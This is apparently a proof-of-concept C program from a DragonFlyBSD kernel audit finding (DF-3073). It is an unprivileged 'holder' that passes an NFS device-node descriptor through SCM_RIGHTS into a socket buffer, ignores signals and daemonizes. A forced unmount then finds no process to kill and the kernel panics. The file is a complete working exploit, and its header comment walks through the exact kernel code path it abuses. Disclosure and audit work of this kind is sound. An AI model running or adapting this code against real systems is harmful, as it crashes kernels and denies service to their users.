⬢ DragonFlyBSD Kernel Audit
DF-3073 / holder2.c
← back to finding ↓ download raw
/*
 * holder2.c - unprivileged holder for DF-3073 (SCM_RIGHTS variant)
 *
 *   holder2 <mountpoint>
 *
 * 1. opens <mp>/dev - the server-supplied VCHR node (rdev 14:2 = /dev/null)
 * 2. passes the fd over a unix socketpair with sendmsg(SCM_RIGHTS)
 * 3. closes its own copy of the fd and of the sending socket end
 * 4. daemonizes; the child holds ONLY the receiving socket end, forever
 *
 * The descriptor now lives exclusively in the socket's receive buffer:
 *   - no process fd table contains it  -> dounmount()'s kill-retry loop
 *     (unmount_allproc_cb/process_uses_mount, SIGINT retry 3, SIGKILL
 *     retry 7) finds nobody to kill,
 *   - the buffered fp keeps f_nchandle (namecache ref on the "dev" entry
 *     and a mount ref) and the vnode reference,
 *   => at VFS_UNMOUNT -> vflush(mp, 1, FORCECLOSE) the VCHR vnode still has
 *      VREFCNT>1; vflush_scan clears FORCECLOSE for VCHR (vfs_mount.c:1145)
 *      and counts it busy => vflush returns EBUSY,
 *   => nfs_unmount continues anyway (nfs_vfsops.c:1218-1224), frees nmp and
 *      destroys the nfsnode objcache with the nfsnode still allocated,
 *   => dounmount panics ("unmount: dangling vnode", vfs_syscalls.c:1085).
 *
 * No NFS I/O is ever blocked - MNTK_UNMOUNTF's abort-everything semantics
 * (nfs_sigintr) cannot release these references.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
	char path[256];
	int devfd, sv[2];
	struct msghdr mh;
	struct iovec iov;
	char c = 'x';
	struct cmsghdr *cm;
	char cbuf[CMSG_SPACE(sizeof(int))];

	if (argc != 2) {
		fprintf(stderr, "usage: holder2 <mountpoint>\n");
		exit(2);
	}
	signal(SIGINT, SIG_IGN);
	signal(SIGTERM, SIG_IGN);
	signal(SIGHUP, SIG_IGN);

	snprintf(path, sizeof(path), "%s/dev", argv[1]);
	devfd = open(path, O_RDONLY);
	if (devfd < 0) {
		perror("open dev");
		exit(1);
	}
	printf("DEV_OPEN_OK\n");
	fflush(stdout);

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
		perror("socketpair");
		exit(1);
	}

	/* ship the fd into the peer's receive buffer */
	memset(&mh, 0, sizeof(mh));
	iov.iov_base = &c;
	iov.iov_len = 1;
	mh.msg_iov = &iov;
	mh.msg_iovlen = 1;
	mh.msg_control = cbuf;
	mh.msg_controllen = sizeof(cbuf);
	cm = CMSG_FIRSTHDR(&mh);
	cm->cmsg_len = CMSG_LEN(sizeof(int));
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	memcpy(CMSG_DATA(cm), &devfd, sizeof(int));
	if (sendmsg(sv[0], &mh, 0) < 0) {
		perror("sendmsg");
		exit(1);
	}
	close(devfd);		/* our copy gone; fp lives in the socket */
	close(sv[0]);		/* sender end gone; message stays queued */

	if (fork() != 0)
		_exit(0);	/* parent exits: no process "uses" the mount */

	printf("FD_PARKED\n");
	fflush(stdout);

	/* child: hold sv[1] (with the queued descriptor) forever */
	for (;;)
		pause();
}